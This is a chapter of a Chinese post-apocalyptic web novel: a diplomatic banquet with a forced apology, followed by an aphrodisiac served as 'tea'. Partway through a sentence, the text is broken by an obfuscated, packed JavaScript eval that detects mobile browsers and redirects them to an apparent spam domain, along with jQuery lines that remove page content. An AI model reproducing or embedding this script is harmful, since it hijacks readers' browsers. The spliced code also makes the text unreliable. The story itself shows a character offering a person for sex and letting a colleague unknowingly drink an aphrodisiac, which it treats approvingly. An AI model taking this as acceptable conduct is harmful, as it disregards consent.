59. 宴会

俄州的食物是真的难吃。


除了硬得要崩掉牙的大面包,就是各种腌制肉类。


末世时代,原料短缺,腌制肉类的品种很少,腌制的时间也比较长。


吃到嘴里......就像奶奶的裹脚布在盐巴里滚了一道。


路霆啸看着一边皱眉一边努力尝试下咽的凌时,拍了拍他身边一直滔滔不绝的谢尔盖。


“将军,今晚你唱独角戏呢?”


一张圆桌,谢尔盖坐他们身边,普希金在对面。


西多罗夫在普希金身旁,一脸愤愤,只顾着往嘴里塞东西。


也不知道他怎么这么能吃。


白鹰队的其他成员在另外一桌,有斯米尔诺夫和其他几个俄州方的副官陪着。


还有专门叫来给他们赔罪的史蒂文和劳森。


路霆啸朝着西多罗夫抬了抬眉:“进行下一项议程吧。”


谢尔盖看了普希金一眼,说:“行。为了我们两国的友谊,有些误会是要消除的。”


路霆啸往椅子后背一靠,看着普希金。


普希金也抬眼看过来。


两人对视了好几秒,普希金终于发话:“上一回,俄州去华国进行科研援助,本意是友善的。”


“只可惜,”他瞥了眼西多罗夫:“派过去的人不懂事,把一件好事,办得一团糟。”


“俄州和华国相邻,特别是在这样艰难的末世,本就该友好合作。”


“西多罗夫。”


他这一叫,旁边的西多罗夫低着头,站了起来。


他看也不看路霆啸和凌时,嘴里一连串说道:“抱歉,之前的事,是我的下属太鲁莽了。给你们造成困扰,是我们不对。”


说完,一屁股就坐下了。


路霆啸没说话。


他看了眼西多罗夫,又看了眼普希金,等了一会儿,才问:“完了?”


“俄州的风格真是鲜明,做错了事,对人道歉,竟然也和这桌子上的面包一样,硬邦邦、臭烘烘。”


这一句话,别说西多罗夫,连谢尔盖都变了脸色。


谢尔盖:“路队长,不能这么说,我们俄州的诚意......”


“别说了。”普希金打断了他:“西多罗夫,重新道歉。”


西多罗夫不可置信地看着普希金,屁股仿佛被椅子粘住了一样,扭来扭去,就是没站起来:“将军!”


普希金声音不高:“这是命令。”


又是寂静的十来秒。


西多罗夫双手撑着桌面,终于缓缓站起。


这回,他不再低头,而是看着路霆啸和凌时:“两位华国的贵客,还有......”


他转了个身,视线在白鹰队所有成员上绕了一圈:“......各位白鹰队的朋友们,之前......是我西多罗夫做的不对,冒犯各位了。”


他眼神一扫,史蒂文和劳森也同时站了起来,站得笔直,头微微低着。


西多罗夫也低了低头,态度非常谦卑:“我在这里,代表自己、以及曾经给各位华国朋友带来伤害的两位下属,郑重地跟各位道歉。”


“希望你们能够原谅我们。”


一旁的史蒂文和劳森也同时说道:“抱歉。”


三人低着头,没有等到任何回复前,都保持着这个道歉的姿势。


路霆啸终于笑了一声:“这才像点样嘛。”


“行了,普希金将军有诚意,我们也好说话。过去的误会,都一笔勾销。”


“等我们凌队长身体康复后,就把设备给你们送过去。”


西多罗夫他们三个一脸铁青,一言不发地坐下了。


普希金仍旧脸色平静:“好。”


他举起手中杯子:“可惜,末世时期,没有美酒。只好以茶代酒,敬各位一杯。”


路霆啸也举起杯子,喝了一口。


这所谓的茶,实在和华国的茶没有半毛钱关系。


他这一口,喝得心肝儿都颤。


就像是泥巴粉末拿着水搅合了一下。


场面上该走完的流程都走完了,表面上的裂痕也得到了修补。


俄州方想要的设备,路霆啸始终没有松口。他们也只能耐心等待。否则,今天这场戏就白做了。


普希金吩咐谢尔盖招待好路霆啸,就站起来离席了。


西多罗夫也跟着走了。


谢尔盖看着路霆啸和凌时面前的餐盘:“俄州的食物......还是吃不大惯?”


路霆啸拿起叉子戳了戳餐盘里的面包:“我们都是华国胃,对这玩意儿,实在是消化不良。”


“算了,知道你们不是故意的。”


谢尔盖沉吟一下:“虽然我们没有美味的料理,但确实有种好茶。和华国的相比,应该有过之而无不及,两位队长肯不肯赏脸?”


“哦?”路霆啸来了点兴趣:“你们还有能媲美华国的好茶?”


他用手指弹了弹面前的杯子:“不会是这种玩意儿吧?”


谢尔盖“啧”一声:“怎么可能!要是这种东西,我就不会专门拿出来说了。”


凌时站起身,他对吃吃喝喝的兴趣寥寥:“要么我先回去休息了......”


“那我也回去。”路霆啸同样站起。


“诶、诶,”谢尔盖拽了路霆啸一把,凑近了点,声音低了些:“那茶......不是简单的解渴的东西,可以补身子的。凌队长不是受了伤吗?需要营养啊。”


“而且,这茶的库存很少,就算是我,平时轻易也不舍得喝。去尝尝啊。”


“还有,你们一直要的通行证,马上就制作好了,一会儿就送来。”


听到这儿,凌时用胳膊肘戳了戳路霆啸:“你去吧。别辜负了将军一番好意。”


路霆啸挑着眉看他:“到底要通行证还是要喝茶?”


“人家点名的可是你。你这病怏怏的身子,可一直被人惦记着呢。”


虽然真正被惦记的不是身体,而是设备。


谢尔盖及时补充道:“一起、一起。这茶也不是只有病人能喝。”


凌时转念一想,谢尔盖这么热情,也不好一味拒绝,就点头笑了笑:“行。那一起去吧。就当你陪我。”


“多谢将军款待。”


两人跟着谢尔盖,离开晚宴房间,拐弯去了隔壁一个不大的茶室。


这里布置得挺别致,一整面墙的竹子装饰,窗边放着同款的竹质长桌,和四张竹椅。


这一种华国江南韵味的古典风,对五大三粗的俄州人来说,极为难得了。


茶很快端了上来。


一个褐色的托盘,上头放置着同款大容量褐色


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15888779|166747||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


磨砂杯。


茶杯里头的汤液,根本看不出是什么颜色,甚至连个热乎气都没有。


又回到了五大三粗的俄州风格。


三个人,三杯茶,放置在每个人的面前。


路霆啸内心嗤笑一声。


俄州人果然不懂茶。不管是绿茶、红茶、乌龙茶、岩茶,都没有用这样的茶具来装的。


难道是华国南方一带的凉茶?


算了,这样的交际场合,交的本就是彼此的情,没有真把茶当回事的。


他端起茶杯,朝嘴里倒了一口。


一口入喉,路霆啸有点惊讶。


这茶.......入口微涩,又带着丝丝甜味。虽然是凉的,但并不难喝。


还真有可能是华国南方一代的凉茶演变而来的。


坐在对面的谢尔盖朝他倾了倾身,笑得一脸谄媚:“味道如何?”


路霆啸点点头:“还行。”


说完,又端起杯子咣咣倒下去几口。


谢尔盖并没有坐回去,反而靠的更近了些,小声说:“这东西滋阴补阳,不仅能补气血,还能......嘿嘿。”


“晚上,给你屋里送个人。你放心用,很干净的。”


路霆啸一愣。


这话里的意思......


就在这时,他突然感觉到一股暖流,从喉咙往下,穿过食道,到了胃部,再猛地往下扩散开来,直到小腹都隐隐发热......


这种感觉......和那天喝了一碗鹿茸粉末水之后极其相似!


这下,路霆啸彻底明白,这所谓的茶到底是个什么东西。


这补身子,未免有点补过了头。


至于谢尔盖想往他屋里送的是什么人,也不言而喻。


他一侧头,凌时刚好端起杯子,要喝里面的茶。


那短短一刹那,路霆啸大脑里飘过很多东西。


从第一眼见到凌时的惊艳、他被鞭子抽开的衬衣、和白皙胸肌上渗出的鲜艳血迹,到他想去救向崇逸时的坚定神情,以及他做出治疗剂时那亮晶晶的眼睛......


而这一切景象中,印象最深刻的那个画面,却是那晚自己推开凌时卧室门时,他蜷缩着身子蹲在地上的背影......


那时的他.......路霆啸光想一想,就觉得有些受不了。


这“茶”已经入喉,今晚他注定躲不过这一劫了。


可是凌时还可以......


只要他现在立即出声阻止。


路霆啸的手指抖了抖,喉头滚动,没有发出一点声音。


就这样、眼睁睁看着凌时,与他一般,仰头喝下一大口茶。


凌时抿了抿唇,一脸困惑:“这是......茶?”


“对。”路霆啸突然出声,抢在谢尔盖之前:“是不是有点像华国南方一带的凉茶?味道还行吧。”


凌时又咂巴了一下味儿,点点头:“还行。只是和我想象中的茶相去甚远。”


“要不然能补身子呢。”路霆啸说:“肯定和你以前喝的茶有点不同。”


茶已经入口,至少今晚,凌时和他的命运是一样的了。


跨过了最初那个坎,路霆啸浑身的肌肉都松弛下来。他举起杯,和对面谢尔盖碰了下,又和凌时碰了下,仰头喝了个精光。